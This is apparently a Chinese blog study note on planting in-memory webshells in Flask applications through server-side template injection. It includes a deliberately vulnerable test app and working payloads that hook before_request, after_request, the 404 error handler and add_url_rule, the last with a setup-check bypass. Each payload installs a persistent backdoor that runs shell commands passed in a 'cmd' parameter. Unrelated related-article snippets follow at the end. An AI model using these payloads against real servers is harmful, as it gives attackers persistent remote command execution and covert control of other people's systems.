Flask内存马学习

embedded/2024/12/28 4:53:20/

文章目录

    • 参考文章
    • 环境搭建
    • before_request方法构造内存马
    • after_request方法构造内存马
    • errorhandler方式构造内存马
    • add_url_rule方式构造内存马

参考文章

https://www.mewo.cc/archives/10/

https://www.cnblogs.com/gxngxngxn/p/18181936

前人栽树, 后人乘凉
大佬们太nb了, 直接跟着大佬们的思路学习了一波
打内存马的方式有很多, 仅仅跟着大佬们的博客学了一下这四种

环境搭建

随时根据需要修改一下展示出回显, 或者开启调试

python">from flask import Flask, request,render_template, render_template_string
app = Flask(__name__)@app.route('/', methods=["POST"])
def template():template = request.form.get("code")result=render_template_string(template)print(result)if result !=None:return "OK"else:return "error"if __name__ == '__main__':app.run(debug=False, host='0.0.0.0', port=8000)

before_request方法构造内存马

python">from flask import Flask, request, g
import timeapp = Flask(__name__)@app.before_request
def before_request():# 这里的代码将在每个请求处理之前执行g.start_time = time.time()  # 记录请求开始的时间print("This runs before each request.")@app.route('/')
def index():# 这是处理主页请求的视图函数return "Hello, World!"if __name__ == '__main__':app.run()

在这里插入图片描述

这里可以看到在每次发送一个请求的时候, 在它之前都会进入before_request 这个方法的内部先执行

before_requestFlask 框架中的一个方法,它允许你在每次 HTTP 请求到达视图函数之前执行特定的代码

跟进这个函数内部

在这里插入图片描述

可以看到before_request实际上调用的是 self.before_request_funcs.setdefault(None, []).append(f)

self.before_request_funcs.setdefault(None, []): before_request_funcs 是一个字典,用来存储不同蓝图(或应用程序级别)的 before_request 函数列表。setdefault 方法确保了当键 None 不存在时,会创建一个空列表作为其值。这里 None 代表应用级别的 before_request 函数。
.append(f): 将传入的函数 f 添加到 before_request 函数列表中,这意味着该函数会在每个请求开始前被执行。f就是访问值,也是我们可以自定义的,那么这里只要我们设置f为一个匿名函数,这样每次发起请求前,都会触发一个这个匿名函数了
return f: 返回原始函数 f,这使得装饰器可以用作函数修饰,而不会改变函数本身的行为。

构造payload

python">{{url_for.__globals__['__builtins__']['eval']("__import__('sys').modules['__main__'].__dict__['app'].before_request_funcs.setdefault(None,[]).append(lambda+:__import__('os').popen('echo xpw').read())")}}

后续所有的访问结果都将变成xpw, 也就是我们所执行命令的结果

在这里插入图片描述

在这里插入图片描述

after_request方法构造内存马

在这里插入图片描述

与@app.before_request类似,after_request会在请求结束得到响应包之后进行操作
但是这里传入的f需要接收一个response对象,同时返回一个response对象。

但我们仅通过lambad无法对原始传进来的response进行修改后再返回,所以需要重新生成一个response对象,然后再返回这个response

self.after_request_funcs.setdefault(None, []): after_request_funcs 是一个字典,用来存储不同蓝图(或应用程序级别)的 after_request 函数列表。setdefault 方法确保了当键 None 不存在时,会创建一个空列表作为其值。这里 None 代表应用级别的 after_request 函数。
.append(f): 将传入的函数 f 添加到 after_request 函数列表中,这意味着该函数会在每个请求处理完成后被执行。
return f: 返回原始函数 f,这使得装饰器可以用作函数修饰,而不会改变函数本身的行为。
self.after_request_funcs.setdefault(None, []).append(f)传入的f就是对应的自定义函数,但这里的f需要接收一个response对象,同时返回一个response对象,所以这个是需要定义一个返回值的

构造的payload

python">{{url_for.__globals__['__builtins__']['eval']("app.after_request_funcs.setdefault(None, []).append(lambda resp: CmdResp if request.args.get('cmd') and exec(\"global CmdResp;CmdResp=__import__(\'flask\').make_response(__import__(\'os\').popen(request.args.get(\'cmd\')).read())\")==None else resp)",{'request':url_for.__globals__['request'],'app':url_for.__globals__['current_app']})}}

函数的内容为:

lambda resp: #传入参数CmdResp if request.args.get('cmd') and      #如果请求参数含有cmd则返回命令执行结果exec('global CmdResp;     #定义一个全局变量,方便获取CmdResp=make_response(os.popen(request.args.get(\'cmd\')).read())   #创建一个响应对象')==None    #恒真else resp)  #如果请求参数没有cmd则正常返回
#这里的cmd参数名和CmdResp变量名都是可以改的,最好改成服务中不存在的变量名以免影响正常业务

在执行完payload之后, 就能够以GET的方式用cmd执行命令

在这里插入图片描述

errorhandler方式构造内存马

在这里插入图片描述

这个函数可以用于自定义404页面的回显, 利用这个函数操控404页面的返回内容

这个函数的底层调用了register_error_handler函数 , 但是这个函数无法被调用

在这里插入图片描述

跟进register_error_handler函数,可以看到他底层还调用了别的函数

在这里插入图片描述

这里面的参数, code就是404, exc_class是一个对象, **f **就是我们404界面的返回值

那么控制这里的两个函数_get_exc_class_and_codeerror_handler_spec[None][code][exc_class]就可以控制404页面的返回内容了
首先_get_exc_class_and_code 的参数code_or_exception就是传参的 404, 表示遇到404页面进行执行
然后 error_handler_spec[None][code][exc_class] 就可以控制为一个匿名函数去执行我们的恶意代码

payload

python">{{url_for.__globals__['__builtins__']['exec'](
"
global exc_class;global code;exc_class, code = app._get_exc_class_and_code(404);app.error_handler_spec[None][code][exc_class] = lambda a:__import__('os').popen(request.args.get('cmd')).read()
",
{'request':url_for.__globals__['request'], 'app':url_for.__globals__['current_app']})}}

或者

python">{{ url_for.__globals__['__builtins__']['exec'](
"
app.error_handler_spec[None][404][app._get_exc_class_and_code(404)[0]] = lambda c: __import__('os').popen(request.args.get('cmd')).read() if 'cmd' in request.args.keys() else c
", 
{'request':url_for.__globals__['request'], 'app':url_for.__globals__['current_app']}) }}

在这里插入图片描述

随便一个路由返回404然后都可以执行cmd

在这里插入图片描述

add_url_rule方式构造内存马

新版的Flask下调用add_url_rule注册新的路由会报这样的错误

python">{{ url_for.__globals__['__builtins__']['exec'](
"
app.add_url_rule('/shell', 'shell', lambda: '123');
", 
{'app':url_for.__globals__['current_app']})
}}

在这里插入图片描述

目前的版本中 Flask APP 在处理了第一个请求后又尝试对应用进行设置是不允许的,所以app._check_setup_finished抛出了异常, 看到它的底层代码

在这里插入图片描述

仅仅是对_got_first_request的值进行了一个判断, 那么现在能够访问app的上下文的情况下, 修改它的值为就可以绕过了

{{ url_for.__globals__['current_app'].__dict__ }}

可以在当前的上下文里面找到这个变量, 且它的值为true, 那么修改它的值为false就可以绕过了

在这里插入图片描述

payload

{{ url_for.__globals__['__builtins__']['exec'](
"
app._got_first_request=False;
app.add_url_rule('/xpw', 'xpw', lambda: '<pre>{0}</pre>'.format(__import__('os').popen(request.args.get('cmd')).read())
);
app._got_first_request=True;
", 
{'request':url_for.__globals__['request'], 'app':url_for.__globals__['current_app']})}}

在 /xpw路由下就可以执行命令了看到回显了

在这里插入图片描述

在这里插入图片描述


http://www.ppmy.cn/embedded/148815.html

相关文章

虚幻引擎结构之ULevel

在虚幻引擎中&#xff0c;场景的组织和管理是通过子关卡&#xff08;Sublevel&#xff09;来实现的。这种设计不仅提高了资源管理的灵活性&#xff0c;还优化了游戏性能&#xff0c;特别是在处理大型复杂场景时。 1. 场景划分模式 虚幻引擎采用基于子关卡的场景划分模式。每个…

使用腾讯云CVM搭建 K8s + Docker + Harbor :部署SpringBoot应用与配置指南

在现代云原生应用的开发和部署过程中&#xff0c;容器化技术已经成为主流&#xff0c;而 Kubernetes&#xff08;K8s&#xff09;则是容器编排的绝对领导者。为了高效地管理和分发容器镜像&#xff0c;拥有一个可靠的私有镜像仓库是每个开发者和运维工程师不可或缺的工具。Dock…

RPA系列-uipath 学习笔记3

用uipath读取excel填写表单 所有素材都搬运自uipath academy 读取数据 现在手头上有这样一份数据 需要按行依次把数据填入到浏览器中的表单中&#xff0c;首先创建一个空的process 在activity中拉入excel process scope,同时在里面点击use_excel_file,选择你要使用的file,并…

python网络框架——Django、Tornado、Flask和Twisted

Django、Tornado和flask是全栈网络框架&#xff0c;而Twisted更专注于网络底层的高性能封装&#xff0c;不提供HTML模版引擎等界面功能&#xff0c;因此不能称为全栈框架。 1、Django 发布于2003年&#xff0c;是当前python世界里最负盛名且最成熟的网络框架。相较于其他web框…

14_HTML5 input类型 --[HTML5 API 学习之旅]

HTML5 引入了许多新的 <input> 类型&#xff0c;这些类型提供了更专业的数据输入控件&#xff0c;并且可以在支持的浏览器中提供更好的用户体验和输入验证。以下是一些 HTML5 中引入的 <input> 类型&#xff1a; 1.color: 打开颜色选择器&#xff0c;允许用户选择…

C# OpenCV机器视觉:尺寸测量

转眼就是星期一了&#xff0c;又到了阿强该工作的时候了&#xff01;阿强走进了他作为机器视觉工程师的办公室&#xff0c;准备迎接新一天的挑战。随着周末的结束&#xff0c;他心中暗想&#xff1a;“如果我能让机器像我一样聪明&#xff0c;那就太好了&#xff01;” 正当他…

windows和mac共享文件夹访问教程

mac共享文件夹&#xff0c;windows访问&#xff1a; mac上开启文件夹共享&#xff0c;并添加文件夹和用户&#xff0c;然后windows 上 在windows上快捷键 win r 打开运行&#xff0c;按如下格式输入mac设备的IP地址&#xff1a; 就可以访问了&#xff1a; windows共享文件夹…

为什么在多数据源的情况下,单数据源的自动配置类会失效?

在 Spring Boot 中&#xff0c;DataSourceAutoConfiguration 是单数据源情况下的默认自动配置类。当引入多数据源方案&#xff08;例如 dynamic-datasource-spring-boot-starter&#xff09;后&#xff0c;单数据源的自动配置机制会失效&#xff0c;原因主要在于多数据源自动配…